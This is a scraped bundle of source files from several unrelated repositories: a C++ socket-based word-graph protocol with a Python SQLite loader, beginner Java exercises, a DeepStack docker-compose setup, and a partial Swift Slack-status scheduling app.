return answer;
}
// the first 2 will be the principal words (word1,word2), the next will be the attributes one for eachother
// word1 => attribute1.1, attribute 1.2 ...
// word2 => attribute2.1, attribute 2.2 ...
// <Valu1, value2, attribute1.1, attribute2.1, attribute1.2, attribute2.2 ...>
list<chars> unwrap_new_link(chars message){
list<chars> answer, answer1, answer2;
chars action = message.substr(0, 2);
chars words_size_str = message.substr(3,4);
int words_size = stoi(words_size_str);
chars attributes_size_str = message.substr(5,4);
int attributes_size = stoi(attributes_size_str);
message = message.substr(11);
chars words = message.substr(0,words_size);
chars attributes = message.substr(words_size,attributes_size);
answer = splitt(words,',');
answer.push_front(action);
answer2 = splitt(attributes,';');
answer.merge(answer2);
print_list_str(answer);
return answer;
}
// list:<action, deepness, word>
list<chars> unwrap_query_deepness(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
answer.push_back(action);
chars deepness = message.substr(2, 1);
answer.push_back(deepness);
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
//cout<<"word_size: "<<word_size<<endl;
chars word = message.substr(11, word_size);
//cout<<"word: "<<word<<endl;
answer.push_back(word);
return answer;
}
//list: <antion, word>
list<chars> unwrap_info_node(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
answer.push_back(action);
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
cout<<"word_size: "<<word_size<<endl;
chars word = message.substr(11, word_size);
answer.push_back(word);
return answer;
}
//list: <action, deepness, ,data, data, ... ,attr, attr, ... >
list<chars> unwrap_sentence_deepness(chars message){
list<chars> words_l, attributes_l;
chars action = message.substr(0, 2);
chars deepness = message.substr(2, 1);
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
cout<<"word_size: "<<word_size<<endl;
chars word = message.substr(11, word_size);
chars attributes_size_str = message.substr(7,4);
cout<<"attributes_size_str: "<<attributes_size_str<<endl;
int attributes_size = stoi(attributes_size_str);
cout<<"attributes_size: "<<attributes_size<<endl;
chars attributes = message.substr(11 + word_size, attributes_size);
cout << "attributes: " << attributes << endl;
words_l = splitt(word, ',');
attributes_l = splitt(attributes, ',');
words_l.merge(attributes_l);
words_l.push_front(deepness);
words_l.push_front(action);
return words_l;
}
//list: <antion, word>
list<chars> unwrap_server_online(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
answer.push_back(action);
return answer;
}
//list: <action, state>
// State would be "Ok" and "Error" identified as 1 or 0
// the 0 and 1 are setted and read in Deepness.
list<chars> unwrap_node_link_answer(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
answer.push_back(action);
answer.push_back(message.substr(2,1));
return answer;
}
list<chars> unwrap_query_answer(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
chars deepness = message.substr(2, 1);
cout<<"initial deepness: "<<deepness<<endl;
int deepness_number = stoi(deepness) - 1;
deepness = to_string(deepness_number);
cout<<"new deepness: "<<deepness<<endl;
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
chars attributes_size_str = message.substr(7, 4);
int attributes_size = stoi(attributes_size_str);
message = message.substr(11);
chars words = message.substr(0, word_size);
answer = splitt(words, ',');
chars attributes = message.substr(word_size, attributes_size);
list<chars> answer_attributes = splitt(attributes, ';');
answer.merge(answer_attributes);
answer.push_front(deepness);
answer.push_front(action);
return answer;
}
list<chars> unwrap_sentence_answer(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
chars deepness = message.substr(2, 1);
cout<<"initial deepness: "<<deepness<<endl;
int deepness_number = stoi(deepness) - 1;
deepness = to_string(deepness_number);
cout<<"new deepness: "<<deepness<<endl;
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
chars attributes_size_str = message.substr(7, 4);
int attributes_size = stoi(attributes_size_str);
message = message.substr(11);
chars words = message.substr(0, word_size);
answer = splitt(words, ';');
chars attributes = message.substr(word_size, attributes_size);
list<chars> answer_attributes = splitt(attributes, ';');
answer.merge(answer_attributes);
answer.push_front(deepness);
answer.push_front(action);
return answer;
}
list<chars> unwrap_info_servers_answer(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
message = message.substr(11);
chars words = message.substr(0, word_size);
list<chars> answer_servers = splitt(words, ',');
answer.merge(answer_servers);
return answer;
}
<file_sep>/protocol.h
#include <iostream>
#include <vector>
#include <math.h>
#include <map>
#include <string>
#include "messages.cpp"
using namespace std;
typedef string chars;
typedef list<chars> (*func)(chars);
class Protocol{
public:
// char* message;
int size_header_type_message;
int type_message; // 8 bits in decimal, so max of 255
map<chars, func> type_messages_envelop; //<val_char*_of_func, func>
map<chars, func> type_messages_unwrap; // <value_int_of_func, func>
Protocol();
chars wrap(chars, chars, chars, chars);
// (data)
list<chars> unwrap(chars);
void print_list_str(list<chars>);
};
Protocol::Protocol(){
this->type_messages_unwrap["_n"] = unwrap_new_node;
this->type_messages_unwrap["_l"] = unwrap_new_link;
this->type_messages_unwrap["_q"] = unwrap_query_deepness;
this->type_messages_unwrap["_p"] = unwrap_sentence_deepness;
this->type_messages_unwrap["_c"] = unwrap_info_node;
this->type_messages_unwrap["_s"] = unwrap_server_online;
this->type_messages_unwrap["nn"] = unwrap_node_link_answer;
this->type_messages_unwrap["ll"] = unwrap_node_link_answer;
this->type_messages_unwrap["qq"] = unwrap_query_answer;
this->type_messages_unwrap["pp"] = unwrap_sentence_answer;
this->type_messages_unwrap["cc"] = unwrap_info_servers_answer;
this->type_messages_unwrap["ss"] = unwrap_info_servers_answer;
}
chars Protocol::wrap(chars action, chars deepness, chars data, chars attribu){
return wrap_message(action, deepness, data, attribu);
}
void Protocol::print_list_str(list<chars> msgs){
for (auto v : msgs)
cout << v << "\n";
}
list<chars> Protocol::unwrap(chars data){
chars action = data.substr(0, 2);
map<chars, func>::iterator it;
// searching a func in map of type of messages to unwrap with func found
it = this->type_messages_unwrap.find(action);
return it->second(data);
}
<file_sep>/client.h
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <iostream>
#include <algorithm>
#include <sstream>
#include <thread>
// #include "protocol.h"
using namespace std;
typedef string chars;
/*const int DIGITS_TO_SIZE_IN_BYTES_ALL = 6; // this variable is for all type of message, because is the number of digits where the size of ALL message is */
class Client{
public:
struct sockaddr_in stSockAddr;
int Res;
int n;
int message_server;
int SocketFD;
int port;
char const* ip_address;
/*char buffer[256];*/
/*char message[256];*/
char message[256];
char buffer[256];
int packet_size;
int header_size;
Protocol* protocol;
Client();
// ip, port, header_size, packet_size,
Client(char const*, int);
bool login(char*);
void read_server();
void write_server();
void get_list_online();
void start_client();
};
Client::Client(){}
Client::Client(char const* ip, int port)
{
this->protocol = new Protocol();
/*chars message = this->protocol->envelop("simple-message", "test text lalito");
cout<<"envelop message: "<<message<<endl;
chars unwrapped_messa = this->protocol->unwrap(message);
cout<<"unwrapped message: "<<unwrapped_messa<<endl;*/
this->ip_address = ip;
this->port = port;
this->SocketFD = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
// error while we try create the token
if (-1 == this->SocketFD)
{
perror("cannot create socket");
exit(EXIT_FAILURE);
}
memset(&this->stSockAddr, 0, sizeof(struct sockaddr_in));
this->stSockAddr.sin_family = AF_INET;
this->stSockAddr.sin_port = htons(this->port);
this->Res = inet_pton(AF_INET, ip_address, &this->stSockAddr.sin_addr);
if (0 > this->Res)
{
perror("error: first parameter is not a valid address family");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
else if (0 == this->Res)
{
perror("char string (second parameter does not contain valid ipaddress");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
if (-1 == connect(this->SocketFD, (const struct sockaddr *)&this->stSockAddr, sizeof(struct sockaddr_in)))
{
perror("connect failed");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
}
void Client::read_server()
{
for(;;)
{
/*printf("message: %s\n", messa);
chars ALL_MSG_SIZE = this->protocol->all_message_size(messa);
printf("ALL_MSG_SIZE: %s\n", ALL_MSG_SIZE);
n = write(this->SocketFD, ALL_MSG_SIZE, chars_to_int(ALL_MSG_SIZE));
if (n < 0) perror("ERROR writing to socket");*/
printf("Enter a message to server: ");
scanf("%s" , this->message);
chars messa = this->protocol->wrap("_n", "",this->message, "");
n = write(this->SocketFD, messa.c_str(), messa.size());
if (n < 0) perror("ERROR writing to socket");
bzero(this->buffer, 255);
this->message_server = read(this->SocketFD, this->buffer, 255);
if (this->message_server < 0) perror("ERROR reading from socket");
list<chars> test = this->protocol->unwrap(this->buffer);
cout<<"Message of client:"<<endl;
this->protocol->print_list_str(test);
}
shutdown(this->SocketFD, SHUT_RDWR);
close(this->SocketFD);
}<file_sep>/main.cpp
#include "protocol.h"
#include "connection.h"
#include "client.h"
#include "server.h"
#include <iostream>
using namespace std;
int main(int argc, char const *argv[])
{
/*Protocol test;
/*cout << test.wrap("_n", "", "Peru", "synonyms:Ecuador,Chile,Uruguay") << endl;
cout << test.wrap("_l", "", "Peru,Bolivia", "synonyms:Ecuador,Chile,Uruguay;synonyms:Ecuador,Chile,Uruguay;antonyms:Cusco,Inka,Peruvian;antonyms:Veracruz,Solis,Habana") << endl;
cout << test.wrap("_q", "2", "Peru", "") <<endl;
cout << test.wrap("_p", "2", "Peru,Colombia,Ecuador", "synonyms,antonyms") <<endl;
cout << test.wrap("_c", "", "Peru", "") <<endl;
cout << test.wrap("_s", "", "", "") <<endl;
cout << test.wrap("nn", "1", "", "") <<endl;
cout << test.wrap("ll", "1", "", "") <<endl;
cout << test.wrap("qq", "2", "Peru,Bolivia,Chile,Ecuador", "synonyms:Ecuador,Chile,Uruguay;synonyms:Ecuador,Chile,Uruguay;antonyms:Cusco,Inka,Peruvian;antonyms:Veracruz,Solis,Habana") <<endl;
cout << test.wrap("pp", "2", "Peru,Bolivia,Chile,E/cuador;Ecuador,Chile,Peru;Brasil,Colombia,Paraguay", "synonyms:Ecuador,Chile,Uruguay;synonyms:Ecuador,Chile,Uruguay;antonyms:Cusco,Inka,Peruvian;antonyms:Veracruz,Solis,Habana") <<endl;
cout << test.wrap("cc", "", "0,1,4,5", "") <<endl;
/*list<chars> unwrap_mess = test.unwrap("_n100040030Perusynonyms:Ecuador,Chile,Uruguay");
list<chars> unwrap_mess = test.unwrap("_l100200078Peru,Bolivia,Ecuadorsynonyms:Ecuador,Chile,Uruguay;synonyms:Ecuador,Chile,Uruguay;antonyms:Uruguay");
list<chars> unwrap_mess = test.unwrap("_q200040000Peru");
list<chars> unwrap_mess = test.unwrap("_p200210017Peru,Colombia,Ecuadorsynonyms,antonyms");
list<chars> unwrap_mess = test.unwrap("_c100040000Peru");
list<chars> unwrap_mess = test.unwrap("_s100000000");
list<chars> unwrap_mess = test.unwrap("ll100000000");
list<chars> unwrap_mess = test.unwrap("pp200700121Peru,Bolivia,Chile,Ecuador;Ecuador,Chile,Peru;Brasil,Colombia,Paraguaysynonyms:Ecuador,Chile,Uruguay;synonyms:Ecuador,Chile,Uruguay;antonyms:Cusco,Inka,Peruvian;antonyms:Veracruz,Solis,Habana");
list<chars> unwrap_mess = test.unwrap("cc1000700000,1,4,5");
cout<<endl<<"PARAMETERS TO SERVER"<<endl<<endl;
test.print_list_str(unwrap_mess);*/
// int port = 1101;
// char const* IP_SERVER = "192.168.160.177";
// char const* IP_MYSELF = "192.168.160.177";
// chars path_bigramas = "../en.wiki.big";
// chars path_wordnet = "../CCR.WN";
// if(strcmp(argv[1], "sm") == 0)
// {
// Server* s = new Server(port);
// s->connection();
// }
// if(strcmp(argv[1], "ss") == 0){
// Server* c = new Server(IP_SERVER, port, IP_MYSELF);
// c->read_server();
// }
// if(strcmp(argv[1], "c") == 0){
// Client* c = new Client(IP_SERVER, port);
// c->read_server();
// }
// else
// cout<<"Please insert a value to execute server(s) or client(c) "<<endl;
Connection test;
// bool var_rt;
// var_rt = test.insert_node("GuyANA");
// cout <<"ok? -> "<< var_rt<<endl;
// test.insert_node("Peru");
// bool a = test.insert_node("uruguay");
// test.find_node_id("URUguay");
cout<<"RELATIONS: "<<endl;
vector<string> relations = test.find_relations("nerd");
for(int i=0; i<relations.size(); i++)
cout<<relations[i]<<" ";
/*cout<<test.find_node_name(relations[i])<<" ";*/
/*cout<<"relations[i].size(): "<<relations.size()<<endl;*/
// cout<<"Found: "<<test.find_node_id("Peru")<<endl;
//test.insert_relation("uruguay","colommbia");
cout<<endl<<endl;
return 0;
}
//g++ main.cpp -o main -std=c++11 -pthread -l sqlite3<file_sep>/upload_data.py
import sqlite3
SERVER = 0
RULE = 3
DB = sqlite3.connect(
'/home/lalo/college/networking/FinalProtocolGraph/protocol_db.db')
cursor = DB.cursor()
def which_servers(value_ascii):
"""
:return: [first_server, second_server]
"""
return [value_ascii % RULE, (value_ascii + 1) % RULE]
def sum_values_ascii(word):
summ = 0
for i in word:
summ += ord(i)
return summ
def filter_allowed(line):
value = True
for l in line:
if ((ord(l) >= ord('a') and ord(l) <= ord('z')) or
(ord(l) >= ord('A') and ord(l) <= ord('Z')) or
ord(l) == ord(" ") or ord(l) == ord("\n")):
value = True
else:
value = False
break
# print "------------------------------------"
return value
def insert_node_db(word):
# print "word: ", word
idd = None
try:
cursor.execute(
'''insert into nodes(name) values(:word)''',
{'word': word})
# print "word inserted"
return True, idd
except:
# print "NODE REPEATED!!!"
nodes = cursor.execute(
'''select id from nodes where name = :word''', {'word': word}
)
for n in nodes:
idd = n
# print "idd: ", idd
return False, idd[0]
# DB.commit()
def insert_relation_db(node1, node2):
# print "INSERT_RELATION_DB!!! "
cursor.execute(
'''insert into relations(node1, node2) values(:node1, :node2)''',
{'node1': node1, 'node2': node2}
)
# print "relation inserted"
# DB.commit()
def insert_nodes(words):
value_ascii = sum_values_ascii(words[0])
# print "value_ascii", value_ascii
servers = which_servers(value_ascii)
# print "servers: ", servers
for s in servers:
if SERVER == s:
answer, id_n = insert_node_db(words[0])
id_node_1 = cursor.lastrowid if answer else id_n
# print "WILL INSERT NODE 2!!!!"
answer, id_n = insert_node_db(words[1])
id_node_2 = cursor.lastrowid if answer else id_n
# print "ID_NODE_1: ", id_node_1
# print "ID_NODE_2: ", id_node_2
insert_relation_db(id_node_1, id_node_2)
def read_file(file_name):
with open(file_name) as f:
# line = f.readline()
while True:
line = f.readline()
if line:
# print "line before: ", line
if filter_allowed(line):
# continue
# print "line after: ", line
words = line.split(" ")
print "words: ", words
insert_nodes(words)
else:
break
DB.commit()
if __name__ == "__main__":
read_file('/home/lalo/college/networking/FinalProtocolGraph/en.wiki.big')
# read_file('/home/lalo/college/networking/FinalProtocolGraph/test.txt')
<file_sep>/protocol_db.db.sql
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS `relations` (
`id` integer PRIMARY KEY AUTOINCREMENT,
`node1` integer NOT NULL,
`node2` integer NOT NULL,
FOREIGN KEY(`node1`) REFERENCES `nodes`(`id`),
FOREIGN KEY(`node2`) REFERENCES `nodes`(`id`)
);
CREATE TABLE IF NOT EXISTS `nodes` (
`id` integer PRIMARY KEY AUTOINCREMENT,
`name` text NOT NULL UNIQUE
);
CREATE TABLE IF NOT EXISTS `attributes` (
`id` integer PRIMARY KEY AUTOINCREMENT,
`node_id` integer NOT NULL,
`name_attribute` text NOT NULL,
`value` text NOT NULL,
FOREIGN KEY(`node_id`) REFERENCES `nodes`(`id`)
);
COMMIT;
|
199674ee4546297e8eea5fc2cb862565ceca8a8d
|
[
"SQL",
"Python",
"C++"
] | 8 |
C++
|
J-Aguirre/CCR_ProtocolGraph
|
9cef3e3ceac2fa91325d54bc6234cbcb5b91f58d
|
d53c0a58bd6cea59cf64861a86b17e3c947f8c35
|
refs/heads/master
|
<file_sep>package com.company;
import java.util.Collection;
public class Array_SwapElements {
public static void main(String[] args) {
// - Create an array variable named `orders`
// with the following content: `["first", "second", "third"]`
// - Swap the first and the third element of `orders`
String[] orders = {"first", "second", "third"};
int src = 0;
int dest = 2;
String temp = orders[src];
orders[0] = orders[2];
orders[2] = temp;
for (int i = 0; i < orders.length; i++) {
System.out.print(orders[i] + " ");
}
}
}
<file_sep>package com.company;
public class Printing_HelloOthers {
public static void main(String[] args) {
// Greet 3 of your classmates with this program in three separate lines
// like:
//
// Hello, Esther!
System.out.println ("Hello, Kuba!") ;
// Hello, Mary!
System.out.println ("Hello, Frantisek!") ;
// Hello, Joe!
System.out.println ("Hello, Jiri!") ;
}
}
<file_sep>package com.company;
import javax.swing.plaf.synth.SynthOptionPaneUI;
import javax.xml.transform.Source;
import javax.xml.transform.stream.StreamSource;
import java.util.Scanner;
public class Array_DiagonalMatrix {
public static void main(String[] args) {
// - Create a two dimensional array dynamically with the following content.
// Note that a two dimensional array is often called matrix if every
// internal array has the same length.
// Use a loop!
//
// 1 0 0 0
// 0 1 0 0
// 0 0 1 0
// 0 0 0 1
//
// Its length should depend on a variable
//
// - Print this two dimensional array to the output
Scanner scanner = new Scanner(System.in);
System.out.println("Enter a number");
int n = scanner.nextInt();
int[][] matrix = new int[n][n];
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
if (i == j) {
matrix[i][j] = 1;
} else {
matrix[i][j] = 0;
}
}
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
System.out.print(matrix[i][j] + " ");
}
System.out.println(" ");
}
System.out.println(" ");
}
}<file_sep>package com.company;
import java.util.Scanner;
public class UserInput_HelloUser {
public static void main(String[] args) {
// Modify this program to greet the User instead of the World!
// The program should ask for the name of the User
Scanner userName = new Scanner(System.in); // Create a Scanner object
System.out.print("Enter your name pls ");
String txt = userName.nextLine(); // Read user input
System.out.println ("Hello " + txt + "!"); // Output user input
}
}
<file_sep>package com.company;
import java.util.Scanner;
public class UserInput_AnimalsAndLegs {
public static void main(String[] args) {
// Write a program that asks for two integers
// The first represents the number of chickens the farmer has
// The second represents the number of pigs owned by the farmer
// It should print how many legs all the animals have
Scanner chickens = new Scanner(System.in);
System.out.print("How many chickens the farmer has? ");
int numberOfChic = chickens.nextInt();
Scanner pigs = new Scanner(System.in);
System.out.print("How many pigs the farmer has? ");
int numberOfPigs = pigs.nextInt();
int chickenLegs = 2;
int pigsLegs = 4;
int legsTotal = numberOfChic * chickenLegs + numberOfPigs * pigsLegs;
System.out.println ("There are " + legsTotal + " legs on farm!");
}
}
<file_sep>package com.company;
import java.util.ArrayList;
import java.util.Collections;
public class DataStructures_ListIntrod1 {
public static void main(String... args) {
// We are going to play with lists. Feel free to use the built-in methods where possible.
//
// Create an empty list which will contain names (strings)
// Print out the number of elements in the list
// Add William to the list
// Print out whether the list is empty or not
// Add John to the list
// Add Amanda to the list
// Print out the number of elements in the list
// Print out the 3rd element
// Iterate through the list and print out each name
// William
// John
// Amanda
// Iterate through the list and print
// 1. William
// 2. John
// 3. Amanda
// Remove the 2nd element
// Iterate through the list in a reversed order and print out each name
// Amanda
// William
// Remove all elements
ArrayList<String> names = new ArrayList<String>();
int i = names.size();
System.out.println(i); //Print out the number of elements in the list
names.add(0, "Wiliam"); //Add William to the list
for (int j = 0; j < names.size(); j++) {
System.out.println(names.get(j)); // Print out the number of elements in the list
System.out.println();
}
names.add(1, "John"); //Add William to the list
names.add(2, "Amanda"); //Add Amanda to the list
for (int l = 0; l < names.size(); l++) {
System.out.println(names.get(l));
}
System.out.println(names.size()); //Print out the number of elements in the list
System.out.println();
System.out.println(names.get(2));
System.out.println();
for (String l : names) { //prints all one by one
}
System.out.println();
// ArrayList<String> numbers = new ArrayList<String>();
// numbers.add("1.");
// numbers.add("2.");
// numbers.add("3.");
//
// String result = numbers+names;
// System.out.println(result);
//
//
//
// String result = numbers.concat(names);
// System.out.println(result);
//
//
// StringBuilder sb = new StringBuilder(numbers);
// sb.append(names);
// System.out.println(sb);
names.remove(1); //removes index 1
for (int m = 0; m < names.size(); m++)
{
System.out.println(names.get(m));
System.out.println();
}
//Now call this method
Collections.reverse(names);
// iterate and print index wise
for (String name : names) {
System.out.println(names);
}
}
}<file_sep>package com.company;
import java.util.Scanner;
public class Functions_Factorial {
// Create the usual class wrapper and main method on your own
// - Create a function called `calculateFactorial()`
// that returns the factorial of its input
public static void main(String[] args) {
Scanner x = new Scanner(System.in);
System.out.print("Enter a number ");
int result = factorial (x.nextInt());
System.out.println(result);
}
public static int factorial(int k) {
if (k > 0) {
return k * factorial(k - 1);
} else {
return 0;
}
}
}
<file_sep>package com.company;
public class Functions_Doubling {
// - Create an integer variable named `baseNumber` and assign the value `123` to it
// - Create a function called `doubleNumber()` that doubles its integer input parameter
// and returns the doubled value
// - Print the result of `doubleNumber(baseNumber)`
static int doubleNumber(int baseNumber) {
return 2 * baseNumber;
}
public static void main(String[] args) {
System.out.println(doubleNumber(123));
}
}<file_sep>https://github.com/Bero-nick/git-lesson-repository
https://github.com/Bero-nick/bero-nick
https://github.com/Bero-nick/patchwork
<file_sep>package com.company;
public class Loop_PrintEven {
public static void main(String[] args) {
// Create a program that prints all the even numbers between 0 and 500
int e = 0;
while (e < 501) {
if (e%2 ==0)
System.out.println(e);
e++;
}
}
}
<file_sep>package com.company;
public class Types_IntroduceMyself {
public static void main(String[] args) {
// Write a program that prints a few details to the terminal window about you
// It should print each detail to a new line:
// - Your name
System.out.println("Hi, my name is Veronika");
// - Your age
int age = 44;
System.out.println(age);
// - Your height in meters (as a decimal fraction)
float height = 1.65f;
System.out.println(height);
// Example output:
// <NAME>
// 31
// 1.87
}
}
<file_sep>package com.company;
public class Loop_DrawChessTable {
public static void main(String[] args) {
//I COULD NOT FINISH DRAWING EXERCISES, I HAD TO COPY PASTE//
// Crate a program that draws a chess table like this
//
// % % % %
// % % % %
// % % % %
// % % % %
// % % % %
// % % % %
// % % % %
// % % % %
//
for (int y = 0; y < 8; ++y) {
for (int x = 0; x < 8; ++x) {
if (y%2 == 0) {
if (x%2 == 0) {
System.out.print("%");
} else {
System.out.print(" ");
}
} else {
if (x % 2 == 1) {
System.out.print("%");
} else {
System.out.print(" ");
}
}
};
System.out.println();
}
}
}<file_sep>package com.company;
public class Types_CodingHours {
public static void main(String[] args) {
// An average Green Fox attendee codes 6 hours daily
// The semester is 17 weeks long
//
// Print how many hours is spent with coding in a semester by an attendee,
// if the attendee only codes on workdays.
float a, b, c, d, e, f;
a = 6; // 6 hours of daily coding
b = 17; // 17 week / semester
c = 5; // 5 working days
d = (a * b * c);
System.out.println(d);
// Print the percentage of the coding hours in the semester if the average
// work hours weekly is 52
a = 6; // 6 hours of daily coding
b = 17; // 17 week / semester
c = 5; // 5 working days
e = 52; // average working hours / week
f = (((a * b * c) / (b * e)) * 100);
System.out.println(f + "%");
}
}<file_sep>package com.company;
import java.util.Scanner;
class UserInput_MileToKm {
public static void main(String[] args) {
Scanner m = new Scanner(System.in); // Create a Scanner object
System.out.print("Enter distance in miles ");
float dInMiles = m.nextFloat(); // Read user input
float x = 1.60934f;
float k = dInMiles * x;
System.out.println ("The distance in km is: " + k); // Output user input
}
}
|
c945a6dd5adcb6f6b3528ce243d770af66136888
|
[
"Markdown",
"Java"
] | 14 |
Java
|
Bero-nick/bero-nick
|
6a27cc2e9d32c59ea7434401c4e5ca4592ee8f7d
|
02174360e330940a4789fa50662b4c58a67a047a
|
refs/heads/master
|
<file_sep>version: "2.3"
networks:
default:
external:
name: ros-network
volumes:
workspace:
services:
deepstack:
image: deepquestai/deepstack${TAG}
container_name: deepstack
init: true
restart: unless-stopped
privileged: true
devices:
- "/dev:/dev"
volumes:
- "/dev:/dev"
- "/etc/localtime:/etc/localtime:ro"
- "workspace:/datastore"
environment:
- "VISION-SCENE=True"
- "VISION-DETECTION=True"
- "VISION-FACE=True"
ports:
- "5000:5000"
runtime: "nvidia"
deepstack_ui:
image: robmarkcole/deepstack-ui
container_name: deepstack_ui
restart: unless-stopped
environment:
- DEEPSTACK_IP=deepstack
- DEEPSTACK_PORT=5000
- DEEPSTACK_API_KEY=""
- DEEPSTACK_TIMEOUT=20
#- DEEPSTACK_CUSTOM_MODEL=fire
- DEEPSTACK_UI_DEBUG_MODE=True
ports:
- '8501:8501'<file_sep>from deepstack_sdk import ServerConfig, Detection
config = ServerConfig("http://localhost:5000")
detection = Detection(config)
response = detection.detectObject("detection.jpg", output="detection_output.jpg", min_confidence=0.8, output_font_color=[0,255,0])
for obj in response:
print("Name: {}, Confidence: {}, x_min: {}, y_min: {}, x_max: {}, y_max: {}".format(obj.label, obj.confidence, obj.x_min, obj.y_min, obj.x_max, obj.y_max))<file_sep># docker-deepstack
|
9a33f843a2d5c5a1d0470dcf6629c176146f0a52
|
[
"Markdown",
"Python",
"YAML"
] | 3 |
YAML
|
wn1980/docker-deepstack
|
6501390ad205d4f209c91aa32a006763205728cc
|
ad3807e09fe701b0c4eeae32d9962f701f31b454
|
refs/heads/master
|
<file_sep>//
// Team.swift
import Foundation
class Team: NSObject, NSCoding {
let id: String
let name: String
static let teamIdKey = "TeamIdentifierString"
static let teamNameKey = "TeamNameString"
init (id: String, name: String){
self.id = id
self.name = name
}
required init(coder decoder: NSCoder){
self.id = decoder.decodeObject(forKey: Team.teamIdKey) as! String
self.name = decoder.decodeObject(forKey: Team.teamNameKey) as! String
}
func encode(with aCoder: NSCoder) {
aCoder.encode(id, forKey: Team.teamIdKey)
aCoder.encode(name, forKey: Team.teamNameKey)
}
}
//Archiving to Data
extension Team {
class func archiveTeams(_ teams: [Team]) -> Data {
return NSKeyedArchiver.archivedData(withRootObject: teams)
}
class func unarchiveTeamsFromData(_ teamData: Data?) -> [Team]? {
guard let teamData = teamData else { return nil }
return NSKeyedUnarchiver.unarchiveObject(with: teamData) as? [Team]
}
}
//extension Team: Equatable {
//
// static func == (lhs: Team, rhs: Team) -> Bool {
// return lhs.id == rhs.id
// }
//
//}
<file_sep>//
// ScheduleTakeListTableData.swift
// SlackStatus
//
// Created by <NAME> on 5/1/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import UIKit
class ScheduleTaskListTableData: NSObject, UITableViewDataSource {
let cellReuseId = "scheduleItemCell"
var teamScheduleService: TeamScheduleService
init(WithService teamScheduleService: TeamScheduleService){
self.teamScheduleService = teamScheduleService
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
//A schedule Item
if indexPath.row < teamScheduleService.scheduleItems.count {
return getTaskCellForTableView(tableView, cellForRowAt: indexPath)
}
//The Add Button
return getAddButton(tableView)
}
func getTaskCellForTableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: cellReuseId, for: indexPath) as! ScheduleItemTableViewCell
let scheduleItem = teamScheduleService.scheduleItems[indexPath.row]
cell.timeLabel.text = "\(scheduleItem.hour):\(scheduleItem.minute)"
cell.daysListLabel.text = Days.getCollectionAsString( scheduleItem.days )
cell.statusTextLabel.text = "\(scheduleItem.emoji) \(scheduleItem.statusMessage)"
return cell
}
func getAddButton(_ tableView: UITableView) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "AddCell") as! AddItemTableViewCell
return cell
}
func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return section == 0 ? teamScheduleService.scheduleItems.count + 1 : 0
}
// func sectionIndexTitles(for tableView: UITableView) -> [String]? {
//
// }
// func tableView(_ tableView: UITableView, sectionForSectionIndexTitle title: String, at index: Int) -> Int {
//
// }
//
// func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {
//
// }
//
// func tableView(_ tableView: UITableView, titleForFooterInSection section: Int) -> String? {
//
// }
}
<file_sep>// ScheduleItem.swift
import Foundation
struct ScheduleItem {
let hour: Int
let minute: Int
let days: Set<Days>
let emoji: String
let statusMessage: String
}
<file_sep>//
// WelcomeViewController.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import UIKit
class WelcomeViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
@IBAction func didPressLogin(_ sender: UIButton) {
sender.isUserInteractionEnabled = false
let loginController = self.storyboard?.instantiateViewController(withIdentifier: "OAuthLoginScreen") as! OAuthWebViewViewController
loginController.loginDelegate = self
present(loginController, animated: true) {
sender.isUserInteractionEnabled = true
}
}
}
extension WelcomeViewController: OAuthSlackLoginDelegate {
func loginDidSucceed(){
let scheduleViewController = self.storyboard?.instantiateViewController(withIdentifier: "TeamScheduleNav")
if let scheduleViewController = scheduleViewController {
present(scheduleViewController, animated: true, completion: nil)
}
}
func loginFailOrDidDismiss(){
}
}
<file_sep>//
// TeamScheduleService.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import Foundation
typealias ScheduleItemRetreivalTask = (_ items: [ScheduleItem]?, _ error: Error?) -> Void
class TeamScheduleService: NSObject {
let team: Team
private(set) var scheduleItems = [ScheduleItem]()
init(WithTeam team: Team){
self.team = team
}
///////RIGHT NOW THIS IS ALL FAKE DATA OMG
func getScheduleItems(WithCompletionHandler completion: @escaping ScheduleItemRetreivalTask ){
//TODO, web request or cache here
if scheduleItems.isEmpty { completion(scheduleItems, nil) }
reloadScheduleItems( WithCompletionHandler: completion )
}
func reloadScheduleItems(WithCompletionHandler completion: @escaping ScheduleItemRetreivalTask ){
scheduleItems.append(
ScheduleItem(hour: 9, minute: 00, days: Days.getWeekdays(),
emoji: "🖥", statusMessage: "In The Office"))
scheduleItems.append(
ScheduleItem(hour: 5, minute: 40, days: Days.getWeekdays(),
